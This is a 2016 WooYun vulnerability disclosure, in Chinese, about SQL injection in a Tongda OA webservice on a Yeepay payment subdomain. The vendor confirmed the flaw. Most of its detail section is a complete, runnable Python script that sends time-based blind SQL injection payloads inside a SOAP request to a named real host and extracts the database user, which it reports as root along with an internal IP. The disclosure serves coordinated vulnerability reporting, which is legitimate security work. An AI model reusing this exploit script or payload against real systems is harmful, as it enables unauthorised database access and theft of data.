当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0170028

漏洞标题:易宝支付某分站SQL注入(附测试脚本)

相关厂商:易宝支付

漏洞作者: 路人甲

提交时间:2016-01-15 00:25

修复时间:2016-02-27 11:49

公开时间:2016-02-27 11:49

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:12

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-15: 细节已通知厂商并且等待厂商处理中
2016-01-18: 厂商已经确认,细节仅向厂商公开
2016-01-28: 细节向核心白帽子及相关领域专家公开
2016-02-07: 细节向普通白帽子公开
2016-02-17: 细节向实习白帽子公开
2016-02-27: 细节向公众公开

简要描述:

某OA系统注入。

详细说明:

通达OA 2013 webservice接口SQL注入。见 WooYun: 通达OA 2013 webservice sql注入(有条件)
测试脚本:

# -*- coding: utf-8 -*-
import time
import requests
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10',
'Content-Type': 'application/xml'}
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.-'
user = ''
stop = 0
for i in range(1, 34):
for payload in payloads:
xml = """<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">\r\n <soapenv:Header/>\r\n <soapenv:Body>\r\n <web:updateState soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">\r\n <guid xsi:type="xsd:string">1'+concat("'",(select 0 from (select sleep(if(substring(lower(user()),%s,1)=char(%s),5,0)))v))+'</guid>\r\n <state xsi:type="xsd:int">1</state>\r\n <to xsi:type="xsd:string"></to>\r\n </web:updateState>\r\n </soapenv:Body>\r\n</soapenv:Envelope>""" % (i, ord(payload))

url = 'http://moa.yeepay.com/webservice/esbmessage.php'
try:
start_time = time.time()
req = requests.post(url, data=xml, headers=headers, verify=False, timeout=6)
if req.status_code == 200 and time.time() - start_time > 5:
user += payload
print '\n[in progress]', user,
break
if payload == '-':
stop = 1
except:
pass
if stop:
break
print '\n[Done] MySQL user is %s' % user


漏洞证明:

MySQL user is root@172.17.104.40


root权限注入。

1.png

修复方案:

webservice接口一般不用可以考虑直接删掉

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2016-01-18 13:54

厂商回复:

感谢关注。

最新状态:

暂无